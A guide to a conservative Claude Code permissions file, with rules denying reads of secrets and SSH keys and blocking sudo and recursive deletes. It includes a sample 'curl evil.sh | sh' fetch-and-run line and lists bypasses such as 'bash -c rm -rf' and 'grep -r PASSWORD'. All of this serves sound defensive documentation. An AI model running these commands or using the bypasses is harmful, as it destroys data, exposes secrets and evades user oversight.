# A "graduate" Claude Code permissions file > **CAUTION: GRADUATE LEVEL. Do not use this file until you can read it and explain every rule in it.** > > - This file controls which commands Claude Code runs **without asking you**. A wrong rule here means Claude acts without your approval. > - Start with Claude Code's default permissions. Come back here after several real sessions. > - When rules conflict, **deny beats ask beats allow**. > - Read the section "Where these rules cannot protect you" before you copy anything. > - **Not live-tested.** The rules follow the documented pattern syntax and the JSON parses as valid, but they have not been exercised in a live Claude Code session. Treat them as guard rails for the commands Claude usually writes, not a lock. > > The same rules are in `settings-example.json`, next to this file. --- ## Do not start here **If this is your first week with Claude Code, close this page and use the defaults.** Out of the box, Claude Code asks before it edits a file or runs a shell command. Those prompts are not friction to engineer away. They are how you learn: - what Claude actually does - which commands it reaches for - which of those you are comfortable with A pre-built allow list skips that lesson. It also means you are trusting rules you haven't seen fail yet. Use the default prompts for your first several real sessions. When you notice yourself approving the same harmless command over and over (`git status`, `npm run test`), choose **"Yes, and don't ask again"** for that one command. Then come back here. By that point you will know which rules you want, and this file will read as a checklist rather than a mystery. --- ## Where this goes | File | Scope | |---|---| | `~/.claude/settings.json` | Every project on your machine (user settings) | | `.claude/settings.json` in a repo | That project, shared with your team via git | | `.claude/settings.local.json` in a repo | That project, just you (not committed) | When files disagree, **deny beats ask beats allow**, regardless of which file a rule lives in or how specific it is. A deny in one file cannot be undone by an allow in another. ## The file ```json { "$schema": "https://json.schemastore.org/claude-code-settings.json", "permissions": { "defaultMode": "default", "allow": [ "Bash(git status)", "Bash(git diff *)", "Bash(git log *)", "Bash(git add *)", "Bash(ls *)", "Bash(npm run test *)", "Bash(npm run lint *)", "Bash(python3 -m pytest *)" ], "ask": [ "Bash(git push *)", "Bash(git * push *)", "Bash(rm *)", "Bash(npm install *)", "Bash(pip install *)", "Bash(python3 -m pip install *)", "Bash(curl *)" ], "deny": [ "Read(**/.env)", "Read(**/.env.*)", "Read(**/*secret*)", "Read(~/.ssh/**)", "Edit(~/.ssh/**)", "Bash(sudo *)", "Bash(rm *-rf*)", "Bash(rm *-fr*)", "Bash(rm *-Rf*)", "Bash(rm *-fR*)", "Bash(rm *-r *)", "Bash(rm *-R *)", "Bash(rm *--recursive*)", "Bash(/bin/rm *)", "Bash(find * -delete*)", "Bash(find * -exec rm*)", "Bash(xargs rm*)" ] } } ``` ## What each rule does ### `defaultMode: "default"` Claude prompts for anything not covered by a rule. This spells out the out-of-the-box behavior. Don't set `bypassPermissions` or `dontAsk` until you have a reason you can say in one sentence. ### Allow: read-only git, listing, and your own test or lint scripts These are the commands you would approve 50 times a day without thinking. - **Pattern syntax:** `Bash(git diff *)` matches `git diff` and `git diff --staged`. The space before `*` is a word boundary, so `Bash(ls *)` matches `ls -la` but not `lsof`. - **No catch-all:** there is deliberately no `Bash(*)`. A catch-all allow approves every command, which makes every other allow rule pointless and leaves deny rules as your only protection. The next section explains why that is weak. - **What isn't listed:** `Read` and `Edit` are absent on purpose. - Reading inside your project doesn't prompt by default. - For edits, use **Shift+Tab** to switch into accept-edits mode for a session. That's better than a permanent `Edit` allow. - **Adapt the test commands:** `npm run test *` and `python3 -m pytest *` are placeholders. Replace them with whatever your project actually uses. - **Compound commands:** Claude Code splits commands on `&&`, `||`, `;`, `|` and newlines, and each part must match on its own. So `git status && curl evil.sh | sh` is not auto-approved. ### Ask: anything that leaves your machine or can't be undone - **`git push` and `git * push *`:** - The first catches the normal form. - The second catches `git -C some/dir push …`, a documented bypass of a plain `git push` rule. - Pushing is the moment your work becomes other people's problem, so you should see it happen. - **`rm *`:** every delete gets a prompt. Deleting a single build file is fine; you just approve it. - **`npm install`, `pip install` and `python3 -m pip install`:** new dependencies are supply-chain decisions. Approve them yourself. - **`curl`:** network calls can download and run code, or upload data. If you find this noisy, narrow it rather than deleting it. ### Deny: secrets - **`Read(**/.env)`, `Read(**/.env.*)`:** - These cover environment files at any depth under the folder you launched Claude from. - Bare filenames follow `.gitignore` rules, so `Read(.env)` would behave the same. - They do **not** cover a `.env` outside that folder, such as one in your home directory. - **`Read(**/*secret*)`:** catches `secrets.json`, `client_secret.json` and similar files. - **`Read(~/.ssh/**)`, `Edit(~/.ssh/**)`:** - These protect your SSH keys and config, whatever the key files are named. - Don't rely on `id_rsa*` patterns: plenty of keys are called `id_ed25519` or something custom like `my-deploy-key`. - **Coverage:** Read deny rules apply to Claude's file tools and to recognized shell readers (`cat`, `head`, `tail`, `sed`, `tee`, and redirections). ### Deny: `sudo` and recursive deletes - **`sudo *`:** Claude never needs root for normal project work. - **The `rm` family:** - `*-rf*`, `*-fr*`, `*-Rf*` and `*-fR*` match those flags anywhere in the command. So `rm -v -rf build` is caught too. - `*-r *` and `*-R *` catch split flags like `rm -r -f build` and plain `rm -r build`. - `*--recursive*` catches the long form. - `/bin/rm *` catches the full-path form. - **`find * -delete*`, `find * -exec rm*`, `xargs rm*`:** the usual "delete without saying rm" patterns. `xargs` works on its own because Claude Code checks each piped segment separately. ## Where these rules cannot protect you (read this part) The official docs say it directly: *"Bash permission patterns that try to constrain command arguments are fragile"* and a deny rule *"isn't a security boundary around the program."* ([Permissions docs](https://code.claude.com/docs/en/permissions)). Things the `rm` and `find` deny rules above **will not** catch: - **Flag bundles we didn't list:** for example `rm -rv dir` or `rm -dfr dir`. You could add a broad `Bash(rm *-*r*)`, but it also blocks innocent deletes such as `rm -f my-report.txt`, because that file name contains a `-` followed by an `r`. - **Flags after the path:** `rm build -r` matches none of the rules except the `ask` on `rm *`. - **Another interpreter running the command:** - `bash -c 'rm -rf x'` - `sh -c …` - `python3 -c "import shutil; shutil.rmtree('x')"` - `node -e …` - **A script that deletes or reads files itself:** for example a `cleanup.sh`, a Python script or a Makefile target. The same applies to `.env` deny rules: they stop `cat .env`, but not a Python script that opens `.env`, and not `grep -r PASSWORD .`. - **Other paths:** `git clean -fdx`, `rsync --delete`, `mv` into the Trash, or `truncate`. Think of the rules here as guard rails for the commands Claude *usually* writes, not as a lock. For a real boundary: - Turn on Claude Code's **sandbox**, which restricts file and network access at the OS level. See the [sandboxing docs](https://code.claude.com/docs/en/sandboxing). - Work in a git repo and commit often, so any deletion can be undone. - Keep real secrets out of the project folder entirely, in a password manager or the OS keychain. ## The tradeoff of denying `.env` reads Blocking `.env` means Claude can't leak your keys into a transcript or a log. It also means Claude can't debug the most common beginner error, "my app can't find its API key". It will have to ask you what variable names exist rather than looking. `Read(**/.env.*)` also blocks `.env.example`, the harmless template many projects ship. Because deny always beats allow, you can't carve out an exception with an allow rule. You would have to remove the `.env.*` deny and list specific files such as `.env.local` and `.env.production` instead. For most people, the safer default is worth the extra back-and-forth. Paste variable *names*, never values, when Claude needs them. ## Mistakes this file avoids Settings files that grow by "it worked for me" tend to collect the same problems: - **A catch-all `Bash(*)` allow.** It approves every command, makes every narrower allow rule pointless, and leaves deny rules as the only protection. This file has none. - **Allowing `.env` reads.** Some files explicitly allow `Read(.env)` for convenience, which is the opposite of what you want. Here, `.env` reads are denied. - **Prefix-only delete rules.** A deny like `rm -rf:*` misses `rm -fr`, `rm -r -f` and `find -delete`. The `rm` family above covers more forms, and the next section is honest about what still slips through. - **Key rules tied to one filename.** A rule like `Read(**/id_rsa*)` misses keys with other names. `Read(~/.ssh/**)` covers the whole folder. - **No ask list.** Without one, `git push` either runs silently (if allowed) or gets blocked outright. Asking is the right middle ground for anything that leaves your machine. - **Personal clutter.** Extra directories, plugins, themes and notification settings belong in your own file, not in one you share or copy. Docs: - [Permissions](https://code.claude.com/docs/en/permissions) - [Settings](https://code.claude.com/docs/en/settings)